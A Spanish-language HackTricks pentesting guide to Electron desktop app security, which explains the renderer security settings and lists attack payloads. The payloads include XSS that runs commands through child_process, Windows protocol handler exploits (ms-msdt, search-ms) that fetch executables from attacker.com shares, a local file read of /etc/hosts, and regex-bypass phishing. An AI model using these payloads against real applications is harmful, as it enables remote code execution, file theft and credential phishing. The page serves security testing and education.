Electron Desktop Apps

Aprende a hackear AWS de cero a héroe con htARTE (Experto en Equipos Rojos de AWS de HackTricks)!

Otras formas de apoyar a HackTricks:

WhiteIntel es un motor de búsqueda alimentado por la dark web que ofrece funcionalidades gratuitas para verificar si una empresa o sus clientes han sido comprometidos por malwares de robo.

Su objetivo principal es combatir los secuestros de cuentas y los ataques de ransomware resultantes de malwares que roban información.

Puedes visitar su sitio web y probar su motor de forma gratuita en:


Introducción

Electron combina un backend local (con NodeJS) y un frontend (Chromium), aunque carece de algunos de los mecanismos de seguridad de los navegadores modernos.

Por lo general, es posible encontrar el código de la aplicación de electron dentro de una aplicación .asar, para obtener el código necesitas extraerlo:

npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file

En el código fuente de una aplicación Electron, dentro de packet.json, puedes encontrar especificado el archivo main.js donde se establecen las configuraciones de seguridad.

{
"name": "standard-notes",
"main": "./app/index.js",

Electron tiene 2 tipos de procesos:

  • Proceso Principal (tiene acceso completo a NodeJS)

  • Proceso de Renderizado (debería tener acceso restringido a NodeJS por razones de seguridad)

Un proceso de renderizado será una ventana del navegador cargando un archivo:

const {BrowserWindow} = require('electron');
let win = new BrowserWindow();

//Open Renderer Process
win.loadURL(`file://path/to/index.html`);

La configuración del proceso de renderizado se puede configurar en el proceso principal dentro del archivo main.js. Algunas de las configuraciones evitarán que la aplicación Electron sea vulnerable a RCE u otras vulnerabilidades si los ajustes se configuran correctamente.

La aplicación Electron podría acceder al dispositivo a través de las API de Node aunque se puede configurar para evitarlo:

  • nodeIntegration - está desactivado de forma predeterminada. Si está activado, permite acceder a las funciones de Node desde el proceso de renderizado.

  • contextIsolation - está activado de forma predeterminada. Si se desactiva, los procesos principal y de renderizado no están aislados.

  • preload - vacío de forma predeterminada.

  • sandbox - está desactivado de forma predeterminada. Restringirá las acciones que NodeJS puede realizar.

  • Integración de Node en Workers

  • nodeIntegrationInSubframes - está desactivado de forma predeterminada.

  • Si nodeIntegration está habilitado, esto permitiría el uso de APIs de Node.js en páginas web que se cargan en iframes dentro de una aplicación Electron.

  • Si nodeIntegration está deshabilitado, entonces los preloads se cargarán en el iframe

Ejemplo de configuración:

const mainWindowOptions = {
title: 'Discord',
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: 'EnumerateDevices,AudioOutputDevices',
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, 'mainScreenPreload.js'),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true
}
};

Algunos payloads de RCE de aquí:

Example Payloads (Windows):
<img src=x onerror="alert(require('child_process').execSync('calc').toString());">

Example Payloads (Linux & MacOS):
<img src=x onerror="alert(require('child_process').execSync('gnome-calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());">
<img src=x onerror="alert(require('child_process').execSync('id').toString());">
<img src=x onerror="alert(require('child_process').execSync('ls -l').toString());">
<img src=x onerror="alert(require('child_process').execSync('uname -a').toString());">

Captura de tráfico

Modifica la configuración start-main y agrega el uso de un proxy como:

"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",

Inyección de Código Local en Electron

Si puedes ejecutar localmente una aplicación de Electron, es posible que puedas hacer que ejecute código JavaScript arbitrario. Verifica cómo en:

pagemacOS Electron Applications Injection

RCE: XSS + nodeIntegration

Si la opción nodeIntegration está configurada en on, el JavaScript de una página web puede utilizar fácilmente las funciones de Node.js simplemente llamando a require(). Por ejemplo, la forma de ejecutar la aplicación de calculadora en Windows es:

<script>
require('child_process').exec('calc');
// or
top.require('child_process').exec('open /System/Applications/Calculator.app');
</script>

RCE: preload

El script indicado en esta configuración se carga antes que otros scripts en el renderizador, por lo que tiene acceso ilimitado a las APIs de Node:

new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});

Por lo tanto, el script puede exportar las características del nodo a las páginas:

preload.js
typeof require === 'function';
window.runCalc = function(){
require('child_process').exec('calc')
};
index.html
<body>
<script>
typeof require === 'undefined';
runCalc();
</script>
</body>

Si contextIsolation está activado, esto no funcionará

RCE: XSS + contextIsolation

El contextIsolation introduce los contextos separados entre los scripts de la página web y el código interno de JavaScript de Electron para que la ejecución de JavaScript de cada código no se afecte mutuamente. Esta es una característica necesaria para eliminar la posibilidad de RCE.

Si los contextos no están aislados, un atacante puede:

  1. Ejecutar JavaScript arbitrario en el renderizador (XSS o navegación a sitios externos)

  2. Sobrescribir el método integrado que se utiliza en el código de precarga o en el código interno de Electron por una función propia

  3. Disparar el uso de la función sobrescrita

  4. ¿RCE?

Hay 2 lugares donde los métodos integrados pueden ser sobrescritos: En el código de precarga o en el código interno de Electron:

pageElectron contextIsolation RCE via preload codepageElectron contextIsolation RCE via Electron internal codepageElectron contextIsolation RCE via IPC

Bypass al evento de clic

Si hay restricciones aplicadas cuando haces clic en un enlace, es posible que puedas evitarlas haciendo clic medio en lugar de un clic izquierdo regular

window.addEventListener('click', (e) => {

RCE a través de shell.openExternal

Para obtener más información sobre estos ejemplos, consulta https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 y https://benjamin-altpeter.de/shell-openexternal-dangers/

Al implementar una aplicación de escritorio Electron, es crucial garantizar la configuración correcta de nodeIntegration y contextIsolation. Se ha establecido que la ejecución de código remoto en el lado del cliente (RCE) dirigida a scripts de precarga o al código nativo de Electron desde el proceso principal se previene de manera efectiva con estas configuraciones en su lugar.

Cuando un usuario interactúa con enlaces o abre nuevas ventanas, se activan oyentes de eventos específicos, los cuales son cruciales para la seguridad y funcionalidad de la aplicación:

webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}

Estos listeners son sobrescritos por la aplicación de escritorio para implementar su propia lógica de negocio. La aplicación evalúa si un enlace navegado debe abrirse internamente o en un navegador web externo. Esta decisión suele tomarse a través de una función, openInternally. Si esta función devuelve false, indica que el enlace debe abrirse externamente, utilizando la función shell.openExternal.

Aquí tienes un seudocódigo simplificado:

Las mejores prácticas de seguridad de Electron JS desaconsejan aceptar contenido no confiable con la función openExternal, ya que podría provocar una ejecución remota de código a través de varios protocolos. Los sistemas operativos admiten diferentes protocolos que podrían desencadenar una ejecución remota de código. Para obtener ejemplos detallados y una explicación más profunda sobre este tema, se puede consultar este recurso, que incluye ejemplos de protocolos de Windows capaces de explotar esta vulnerabilidad.

Ejemplos de exploits de protocolos de Windows incluyen:

<script>
window.open("ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22")
</script>

<script>
window.open("search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update")
</script>

<script>
window.open("ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D")
</script>

Lectura de archivos internos: XSS + contextIsolation

Desactivar contextIsolation permite el uso de etiquetas <webview>, similares a <iframe>, para leer y exfiltrar archivos locales. Se proporciona un ejemplo que demuestra cómo explotar esta vulnerabilidad para leer el contenido de archivos internos:

Además, se comparte otro método para leer un archivo interno, resaltando una vulnerabilidad crítica de lectura de archivos locales en una aplicación de escritorio de Electron. Esto implica inyectar un script para explotar la aplicación y exfiltrar datos:

<br><BR><BR><BR>
<h1>pwn<br>
<iframe onload=j() src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j(){alert('pwned contents of /etc/hosts :\n\n '+frames[0].document.body.innerText)}
</script>

RCE: XSS + Chromium Antiguo

Si el chromium utilizado por la aplicación es antiguo y existen vulnerabilidades conocidas en él, podría ser posible explotarlo y obtener RCE a través de un XSS. Puedes ver un ejemplo en este informe técnico: https://blog.electrovolt.io/posts/discord-rce/

Phishing de XSS a través de la omisión de regex de URL interna

Suponiendo que encontraste un XSS pero no puedes activar RCE o robar archivos internos, podrías intentar usarlo para robar credenciales a través de phishing.

En primer lugar, necesitas saber qué sucede cuando intentas abrir una nueva URL, revisando el código JS en el front-end:

webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {}                    // opens the custom openInternally function (it is declared below)

La llamada a openInternally decidirá si el enlace se abrirá en la ventana del escritorio como un enlace perteneciente a la plataforma, o si se abrirá en el navegador como un recurso de terceros.

En caso de que el regex utilizado por la función sea vulnerable a eludir (por ejemplo, al no escapar los puntos de los subdominios), un atacante podría abusar del XSS para abrir una nueva ventana que se ubicará en la infraestructura del atacante solicitando credenciales al usuario:

<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>

Herramientas

  • Electronegativity es una herramienta para identificar configuraciones incorrectas y patrones de seguridad en aplicaciones basadas en Electron.

  • Electrolint es un complemento de código abierto para VS Code para aplicaciones de Electron que utiliza Electronegativity.

  • nodejsscan para verificar bibliotecas de terceros vulnerables.

  • Electro.ng: Necesitas comprarlo.

Laboratorios

En https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s puedes encontrar un laboratorio para explotar aplicaciones de Electron vulnerables.

Algunos comandos que te ayudarán con el laboratorio:

# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip

# Get inside the electron app and check for vulnerabilities
npm audit

# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1

# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start

Referencias

WhiteIntel es un motor de búsqueda alimentado por la dark web que ofrece funcionalidades gratuitas para verificar si una empresa o sus clientes han sido comprometidos por malwares de robo.

El objetivo principal de WhiteIntel es combatir los secuestros de cuentas y los ataques de ransomware resultantes de malwares que roban información.

Puedes visitar su sitio web y probar su motor de forma gratuita en:

Aprende hacking en AWS desde cero hasta experto con htARTE (HackTricks AWS Red Team Expert)!

Otras formas de apoyar a HackTricks:

Última actualización